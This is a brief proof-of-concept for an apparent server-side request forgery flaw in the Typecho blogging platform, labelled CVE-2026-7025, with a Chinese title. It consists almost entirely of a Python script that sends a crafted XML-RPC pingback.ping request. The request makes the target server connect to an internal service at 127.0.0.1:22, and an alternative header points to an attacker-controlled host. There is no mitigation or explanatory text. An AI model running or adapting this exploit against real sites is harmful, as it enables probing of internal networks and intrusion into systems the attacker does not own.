CVE-2026-7025 Typecho服务端请求伪造漏洞

import requests target_url = "http://example.com/action/xmlrpc" headers = { "User-Agent": "SSRF-Test", "Content-Type": "application/xml" } # Malicious payload pointing to an internal service body = """<?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://127.0.0.1:22</string></value></param> <param><value><string>http://example.com</string></value></param> </params> </methodCall> """ # Alternative: Manipulating X-Pingback header if endpoint logic differs headers["X-Pingback"] = "http://attacker-controlled.com/burp" try: response = requests.post(target_url, data=body, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")